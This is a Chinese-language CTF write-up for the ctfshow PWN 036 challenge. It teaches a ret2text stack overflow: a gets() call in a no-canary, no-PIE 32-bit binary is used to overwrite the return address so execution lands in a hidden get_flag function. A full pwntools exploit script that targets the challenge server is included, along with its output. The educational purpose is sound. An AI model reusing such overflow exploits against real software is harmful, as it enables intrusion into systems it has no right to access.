本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在前面的关卡中,我们学习了绕过 PIE 随机化,也见识了利用 SIGSEGV 信号处理机制的“旁门左道”。

来到 PWN 036,我们将回归到栈溢出最原始、最直接的利用方式——Ret2Text。这道题就像是一个热情的向导,不仅大门敞开(保护较弱),还在屋里留了一把万能钥匙(后门函数)。我们需要做的,就是找到这把钥匙,并利用栈溢出“传送”过去。

pwn 036 寻找隐藏的捷径:直接调用后门函数

题目信息与环境侦察

题目描述

pwn36:
存在后门函数,如何利用?

解题过程: 首先使用 checksec 检查程序保护情况。

image-20260201152125528

  • Arch: i386-32-little (32位)
  • RELRO: Partial RELRO (GOT表前段只读)
  • Stack: No canary found (重点:无栈哨兵,允许栈溢出)
  • NX: NX disabled (栈可执行,虽然后门利用不需要这个)
  • PIE: No PIE (重点:代码段地址固定)

侦察分析: 这是一道非常友好的“送分题”。

  1. No Canary:意味着我们可以随意覆盖栈上的数据,直捣返回地址。
  2. No PIE:意味着程序加载基址是固定的,函数地址(如后门函数)也是固定的,我们不需要泄露基址,直接硬编码地址即可。

第一部分:机制详解 —— Ret2Text

什么是 Ret2Text?

Ret2Text (Return to Text) 是一种基础的栈溢出攻击手法。

  • 原理:攻击者利用栈溢出漏洞,覆盖当前函数的返回地址 (Return Address)
  • 目标:将返回地址修改为程序代码段 (.text) 中已有的某个函数(通常是后门函数)的地址。
  • 结果:当当前函数执行 ret 指令时,CPU 不会跳回原来的调用者,而是跳转到我们指定的函数去执行。

在本题中,程序内部隐藏了一个名为 get_flag 的函数,这就是我们 Ret2Text 的目标。

运行一下程序,简单看一眼有没有什么提示
在这里插入图片描述

第二部分:代码审计与漏洞挖掘

1. 静态分析 (IDA Pro)

将程序拖入 IDA 32位,我们首先查看 main 函数。

image-20260201152235592

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  // ... 省略一堆 Logo 打印代码 ...
  puts("Hint: There are backdoor functions here!");
  puts("Find and use it!");
  puts("Enter what you want: ");
  
  // [关键点]:调用漏洞函数
  ctfshow();
  
  return 0;
}

main 函数逻辑很简单,打印提示后调用了 ctfshow 函数。

2. 分析漏洞函数 ctfshow

跟进 ctfshow 函数:

image-20260201152255239

char *ctfshow()
{
  char s; // [esp+0h] [ebp-28h]

  // [致命漏洞]:gets 函数
  // gets 不检查输入长度,直到遇到换行符才停止
  // 变量 s 位于 ebp-0x28,我们可以输入无限长的数据覆盖栈
  return gets(&s);
}

栈布局分析

  • 缓冲区 s 起始地址:ebp - 0x28 (十进制 40 字节)。

image-20260201152406967

  • Old EBP 地址:ebp (占用 4 字节)。
  • 返回地址 (Return Address)ebp + 4

计算溢出偏移: 要覆盖返回地址,我们需要填充的数据长度 = 0x28 (填充 s) + 0x4 (覆盖 Old EBP) = 0x2C (44 字节)。 第 45-48 字节将直接覆盖返回地址。

3. 寻找后门函数 get_flag

在左侧函数列表中,我们发现了一个未被 main 调用的函数 get_flag

image-20260201152535365

int get_flag()
{
  char s; // [esp+Ch] [ebp-4Ch]
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  // 读取 flag 并打印
  fgets(&s, 64, stream);
  return printf(&s);
}

分析:这个函数的功能非常完美,直接读取并打印 Flag。我们需要做的就是获取这个函数的起始地址,并把它填入 ctfshow 的返回地址处。

在 IDA 中查看 get_flag 的地址(由于 No PIE,这个地址是固定的),或者在脚本中通过符号表获取。

第三部分:解题思路与 Payload 构造

攻击路径

  1. 触发点ctfshow 函数中的 gets(&s)
  2. 填充:发送 40 字节垃圾数据填满 s,再发送 4 字节垃圾数据覆盖 Old EBP
  3. 劫持:发送 get_flag 函数的地址,覆盖 Return Address
  4. 执行ctfshow 结束运行,执行 ret,程序跳转至 get_flag,输出 Flag。

Payload 结构

# 32位程序,地址长度为4字节
padding = b'a' * (0x28 + 4)  # 40字节buf + 4字节ebp
backdoor_addr = p32(elf.sym['get_flag']) # 获取后门函数地址并打包

payload = padding + backdoor_addr

第四部分:实战操作

编写 Python 脚本进行自动化攻击。

from pwn import *

# 1. 基础配置
context.log_level = 'debug'
context.arch = 'i386'

# 2. 建立连接
# io = process('./pwn') # 本地调试
io = remote("pwn.challenge.ctf.show", 28182) # 远程连接

# 3. 加载 ELF 文件以获取符号表
elf = ELF('./pwn')

# 4. 获取后门函数地址
# 由于关闭了 PIE,elf.sym['get_flag'] 直接返回静态地址
get_flag_addr = elf.sym['get_flag']
log.success(f"Get Flag Address: {hex(get_flag_addr)}")

# 5. 构造 Payload
# 偏移量 = 0x28 (buffer) + 4 (ebp) = 44
offset = 0x28 + 4
payload = b'A' * offset + p32(get_flag_addr)

# 6. 发送 Payload
# 程序运行后会提示 "Enter what you want: ",此时发送
io.recvuntil("Enter what you want: ")
io.sendline(payload)

# 7. 获取 Flag
io.interactive()

运行结果

image-20260201152820384

[DEBUG] Received 0x20 bytes:
    b'ctfshow{local_pwn_flag_success}\n'
ctfshow{local_pwn_flag_success}

程序成功跳转到 get_flag 函数,并打印出了 Flag。

总结:PWN 036 的核心逻辑

步骤 动作 本质
预设 开发者留下了 get_flag 函数 后门隐患:代码段中存在危险功能。
漏洞 使用了 gets 函数 栈溢出:允许用户输入无限长度数据。
利用 覆盖返回地址为 get_flag Ret2Text:修改控制流,使其“误入歧途”。
结果 程序执行后门逻辑 权限获取:直接读取 Flag。

核心启示: Ret2Text 是 PWN 中最简单的利用方式,但在现代软件保护(如 PIE 和 Canary)下已很难直接利用。

  • 如果开启了 PIE,我们就不知道 get_flag 的真实地址(需要先泄露基址)。
  • 如果开启了 Canary,我们在覆盖返回地址前就会因为破坏了 Canary 而被系统终止。

但理解 Ret2Text 是掌握 ROP(面向返回编程)等高级技巧的基石。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨 1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。 2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。 3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。 5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。 7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐